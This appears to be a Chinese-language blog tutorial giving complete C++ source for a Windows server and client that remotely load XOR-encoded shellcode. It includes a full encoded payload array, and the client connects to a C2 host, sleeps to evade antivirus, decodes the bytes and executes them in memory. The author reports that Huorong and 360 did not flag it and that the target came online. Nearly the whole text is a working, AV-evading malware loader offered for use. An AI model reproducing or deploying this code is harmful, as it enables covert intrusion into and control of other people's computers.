利用SOCKET分离shellcode

原理

客户端运行后向服务端发起请求接收xor运算后的shellcode还原后执行,达到远程加载shellcode的目的,与stager的功能有些类似。

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")

using namespace std;


int main(int argc, char* argv[])
{
const int BUF_SIZE = 1024;
WSADATA wsd; //WSADATA变量
SOCKET sServer; //服务器套接字
SOCKET sClient; //客户端套接字
SOCKADDR_IN addrServ;; //服务器地址
char buf[BUF_SIZE]; //接收数据缓冲区
char sendBuf[] = "\x6b\xdf\x14\x73\x67\x7f\x5f\x97\x97\x97\xd6\xc6\xd6\xc7\xc5\xc6\xc1\xdf\xa6\x45\xf2\xdf\x1c\xc5\xf7\xdf\x1c\xc5\x8f\xdf\x1c\xc5\xb7\xdf\x1c\xe5\xc7\xdf\x98\x20\xdd\xdd\xda\xa6\x5e\xdf\xa6\x57\x3b\xab\xf6\xeb\x95\xbb\xb7\xd6\x56\x5e\x9a\xd6\x96\x56\x75\x7a\xc5\xd6\xc6\xdf\x1c\xc5\xb7\x1c\xd5\xab\xdf\x96\x47\xf1\x16\xef\x8f\x9c\x95\xe2\xe5\x1c\x17\x1f\x97\x97\x97\xdf\x12\x57\xe3\xf0\xdf\x96\x47\xc7\x1c\xdf\x8f\xd3\x1c\xd7\xb7\xde\x96\x47\x74\xc1\xdf\x68\x5e\xd6\x1c\xa3\x1f\xdf\x96\x41\xda\xa6\x5e\xdf\xa6\x57\x3b\xd6\x56\x5e\x9a\xd6\x96\x56\xaf\x77\xe2\x66\xdb\x94\xdb\xb3\x9f\xd2\xae\x46\xe2\x4f\xcf\xd3\x1c\xd7\xb3\xde\x96\x47\xf1\xd6\x1c\x9b\xdf\xd3\x1c\xd7\x8b\xde\x96\x47\xd6\x1c\x93\x1f\xdf\x96\x47\xd6\xcf\xd6\xcf\xc9\xce\xcd\xd6\xcf\xd6\xce\xd6\xcd\xdf\x14\x7b\xb7\xd6\xc5\x68\x77\xcf\xd6\xce\xcd\xdf\x1c\x85\x7e\xd8\x68\x68\x68\xca\xfd\x97\xde\x29\xe0\xfe\xf9\xfe\xf9\xf2\xe3\x97\xd6\xc1\xde\x1e\x71\xdb\x1e\x66\xd6\x2d\xdb\xe0\xb1\x90\x68\x42\xdf\xa6\x5e\xdf\xa6\x45\xda\xa6\x57\xda\xa6\x5e\xd6\xc7\xd6\xc7\xd6\x2d\xad\xc1\xee\x30\x68\x42\x7c\xe4\xcd\xdf\x1e\x56\xd6\x2f\xc7\x97\x97\x97\xda\xa6\x5e\xd6\xc6\xd6\xc6\xfd\x94\xd6\xc6\xd6\x2d\xc0\x1e\x08\x51\x68\x42\x7c\xce\xcc\xdf\x1e\x56\xdf\xa6\x45\xde\x1e\x4f\xda\xa6\x5e\xc5\xff\x97\x95\xd7\x13\xc5\xc5\xd6\x2d\x7c\xc2\xb9\xac\x68\x42\xdf\x1e\x51\xdf\x14\x54\xc7\xfd\x9d\xc8\xdf\x1e\x66\xdf\x1e\x4d\xde\x50\x57\x68\x68\x68\x68\xda\xa6\x5e\xc5\xc5\xd6\x2d\xba\x91\x8f\xec\x68\x42\x12\x57\x98\x12\x0a\x96\x97\x97\xdf\x68\x58\x98\x13\x1b\x96\x97\x97\x7c\x44\x7e\x73\x96\x97\x97\x7f\x35\x68\x68\x68\xb8\xff\xd3\xd9\xf4\x97\x9b\x88\x75\x09\xbe\x35\xdc\xd7\x35\x98\xd0\x2d\xbe\xa9\x5b\x83\x00\xa1\xc6\x5a\xa4\x4c\xbd\xd2\x20\xcc\x66\x45\x97\x24\xda\x15\x40\x32\xe1\xb7\x8c\xa2\xfa\xa2\xa0\x20\x67\x69\x1c\x02\xe1\x54\x4e\x8a\x79\x2c\xf0\xa7\x4b\x7d\xd5\xb9\x3d\xee\x1a\x4a\xf5\xa7\x74\x8d\x66\xed\x9a\x43\xf5\x3f\x5a\x97\xc2\xe4\xf2\xe5\xba\xd6\xf0\xf2\xf9\xe3\xad\xb7\xda\xf8\xed\xfe\xfb\xfb\xf6\xb8\xa3\xb9\xa7\xb7\xbf\xf4\xf8\xfa\xe7\xf6\xe3\xfe\xf5\xfb\xf2\xac\xb7\xda\xc4\xde\xd2\xb7\xaf\xb9\xa7\xac\xb7\xc0\xfe\xf9\xf3\xf8\xe0\xe4\xb7\xd9\xc3\xb7\xa2\xb9\xa6\xac\xb7\xc3\xe5\xfe\xf3\xf2\xf9\xe3\xb8\xa3\xb9\xa7\xac\xb7\xb9\xd9\xd2\xc3\xb7\xd4\xdb\xc5\xb7\xa6\xb9\xa6\xb9\xa3\xa4\xa5\xa5\xac\xb7\xd5\xd8\xde\xd2\xaf\xac\xd2\xd9\xc2\xc4\xbe\x9a\x9d\x97\xba\x40\x2a\xb6\xce\x2c\x01\xae\x0c\x64\x70\x02\xfb\xbf\x3b\x14\x9d\x54\xb9\x76\xe2\x9c\x2a\x5d\x28\x08\x2f\xcd\x21\x52\x5c\x57\xe0\xfd\x14\x8a\x95\xaf\x66\xc1\x23\x70\x97\xe4\xb2\xd6\xf7\xd0\x3a\xf6\xf7\xcd\x87\x96\xb2\x0f\xef\x11\x6b\x1c\x22\x4d\xc4\xed\x65\xce\x0a\xab\x30\x94\xd2\xdc\x8d\xbf\x3a\xa6\xc9\xe0\x5e\x93\x89\x10\x47\xfa\x96\xac\xb7\x70\xdd\x93\x41\x7b\x62\x5d\x35\xe1\x35\x8b\x4a\x50\x07\x38\x1f\xb8\x10\x92\xe0\x08\xcb\xdb\x79\x8c\xbe\x94\xcb\xc0\xb2\x70\x70\xac\x36\xbd\x83\x76\x46\xde\xfc\x4a\xac\x0b\x30\x69\x57\x05\x69\xac\x1f\xec\xba\x09\x8f\x62\xe8\x4f\xcd\xe2\x35\x07\xbe\xab\xaf\x7c\x64\x8a\x01\xf5\x92\xe2\x9c\xda\x28\x7f\xd5\xc3\x0d\xa3\x8f\x8b\x97\x63\x34\xfa\x7e\xe9\xd7\x5e\x5b\x7b\xb5\xb3\x47\xa8\xe3\x8f\x37\xd0\x2a\x30\xb1\xc0\x32\xe8\xd9\x53\x97\xd6\x29\x67\x22\x35\xc1\x68\x42\xdf\xa6\x5e\x2d\x97\x97\xd7\x97\xd6\x2f\x97\x87\x97\x97\xd6\x2e\xd7\x97\x97\x97\xd6\x2d\xcf\x33\xc4\x72\x68\x42\xdf\x04\xc4\xc4\xdf\x1e\x70\xdf\x1e\x66\xdf\x1e\x4d\xd6\x2f\x97\xb7\x97\x97\xde\x1e\x6e\xd6\x2d\x85\x01\x1e\x75\x68\x42\xdf\x14\x53\xb7\x12\x57\xe3\x21\xf1\x1c\x90\xdf\x96\x54\x12\x57\xe2\x40\xcf\xcf\xcf\xdf\x92\x97\x97\x97\x97\xc7\x54\x7f\x08\x6a\x68\x68\xa6\xae\xa5\xb9\xa6\xa1\xaf\xb9\xa6\xa6\xa6\xb9\xa6\xa4\xa7\x97\x85\xa3\xc1\xef";
int retVal; //返回值

if (argc <= 1) {
cout << "USAGE: server.exe <Listen Port>" << endl;
return -1;
}

if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)//初始化套结字动态库
{
cout << "WSAStartup failed!" << endl;
return 1;
}

//创建套接字
sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sServer)
{
cout << "Socket Failed!" << endl;
WSACleanup();//释放套接字资源;
return -1;
}

//服务器套接字地址
addrServ.sin_family = AF_INET;
addrServ.sin_port = htons((short)atoi(argv[1]));;
addrServ.sin_addr.s_addr = htonl(INADDR_ANY);

//绑定套接字
retVal = bind(sServer, (LPSOCKADDR)&addrServ, sizeof(SOCKADDR_IN));
if (SOCKET_ERROR == retVal)
{
cout << "Bind Failed!" << endl;
closesocket(sServer); //关闭套接字
WSACleanup(); //释放套接字资源;
return -1;
}

//开始监听
retVal = listen(sServer, 1);
if (SOCKET_ERROR == retVal)
{
cout << "Listen Failed!" << endl;
closesocket(sServer); //关闭套接字
WSACleanup(); //释放套接字资源;
return -1;
}
cout << "开始监听中...." << endl;

//接受客户端请求
sockaddr_in addrClient;
int addrClientlen = sizeof(addrClient);
sClient = accept(sServer, (sockaddr FAR*) & addrClient, &addrClientlen); // 生成对应当前客户端连接的套接字sClient
if (INVALID_SOCKET == sClient)
{
cout << "Accept Failed!" << endl;
closesocket(sServer); //关闭套接字
WSACleanup(); //释放套接字资源;
return -1;
}

int flag = 1; //只接收一次
while (flag)
{
//接收客户端数据
ZeroMemory(buf, BUF_SIZE); // 填充为0 防止内存分配发生意外

retVal = recv(sClient, buf, BUF_SIZE, 0); // 接收数据放在buf缓冲区

if (SOCKET_ERROR == retVal) //判断是否接收错误
{
cout << "Recv Failed!" << endl;
closesocket(sServer); //关闭套接字
closesocket(sClient); //关闭套接字
WSACleanup(); //释放套接字资源;
return -1;
}
if (buf[0] == '0')
break;

cout << "成功建立通信" << endl;
send(sClient, sendBuf, sizeof(sendBuf), 0);
cout << "向客户端发送shellcode..." << endl;
cout << "发送shellcode成功!" << endl;
flag = 0;

}
//退出
closesocket(sServer); //关闭套接字
closesocket(sClient); //关闭套接字
WSACleanup(); //释放套接字资源;

return 0;
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib") //添加ws2_32动态库
#pragma warning(disable:4996) //忽略旧函数使用的警告

using namespace std;

int main(int argc, char* argv[])
{
const int BUF_SIZE = 1024;

WSADATA wsd; //WSADATA变量
SOCKET sHost; // 服务器套接字socket
SOCKADDR_IN servAddr; //服务器地址
char buf[BUF_SIZE]; // 存放发送的数据缓冲区
char bufRecv[BUF_SIZE]; //接收收到的数据缓冲区
DWORD dwThreadId;
HANDLE hThread;
DWORD dwOldProtect;

int retVal; // 返回值

if (argc <= 2) {
cout << "USAGE: client.exe <Server IP> <Server PORT>" << endl;
return -1;
}

if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) //初始化套结字动态库
{
cout << "WSAStartup failed!" << endl;
return -1;
}

sHost = socket(AF_INET, SOCK_STREAM, 0); //创建套接字 IPV4 可靠的,双向的类型服务提供商选择
if (INVALID_SOCKET == sHost)
{
cout << "socket failed!" << endl;
WSACleanup();
return -1;
}

//设置服务器的地址
servAddr.sin_family = AF_INET; //指定IPV4
servAddr.sin_addr.s_addr = inet_addr(argv[1]); // 指定服务器的地址
servAddr.sin_port = htons((short)atoi(argv[2])); // 指定服务器的端口



retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); // 套接字 sockaddr的指针,也就是地址 第三个参数为SOCKADDR_IN结构体的大小
if (SOCKET_ERROR == retVal) //判断是否连接成功
{
cout << "connect failed!" << endl;
closesocket(sHost);
WSACleanup();
return -1;
}
ZeroMemory(buf, BUF_SIZE); // buf指向的地址用0来填充
strcpy(buf, "ok"); //给ok两个字节的字符串复制给buf区段

retVal = send(sHost, buf, strlen(buf), 0); //send的返回值

if (SOCKET_ERROR == retVal) //判断是否发送成功
{
cout << "send failed!" << endl;
closesocket(sHost);
WSACleanup();
return -1;
}
cout << "Starting Download Payload" << endl;
ZeroMemory(bufRecv, BUF_SIZE); // bufRevc指向的地址用0来填充
Sleep(2000); //延迟两秒起到免杀绕过的效果


recv(sHost, bufRecv, BUF_SIZE, 0); //bufRecv缓冲区接收 服务端发送来的数据

Sleep(4000);
closesocket(sHost);
WSACleanup();
for (int i = 0; i < sizeof(bufRecv); i++) { //采取倾旋的方式来进行异或解密
//Sleep(50);
_InterlockedXor8(bufRecv + i, 0x97);
}
cout << "加载shellcode中" << endl;

//下面就是开辟内存存储shellcode 创建线程进行执行
char* shellcode = (char*)VirtualAlloc(
NULL,
BUF_SIZE,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);

CopyMemory(shellcode, bufRecv, BUF_SIZE);
VirtualProtect(shellcode, BUF_SIZE, PAGE_EXECUTE, &dwOldProtect); // VirtualProtect改变它的属性 -> 可执行

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE);
return 0;
}

在c2上运行服务端

imgbed.cn图床

在目标机器上执行客户端文件,联网情况下火绒和360不查杀

imgbed.cn图床

成功上线

imgbed.cn图床

参考:

https://www.cnblogs.com/zpchcbd/p/12170851.html

https://payloads.online/archivers/2019-11-10/5


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!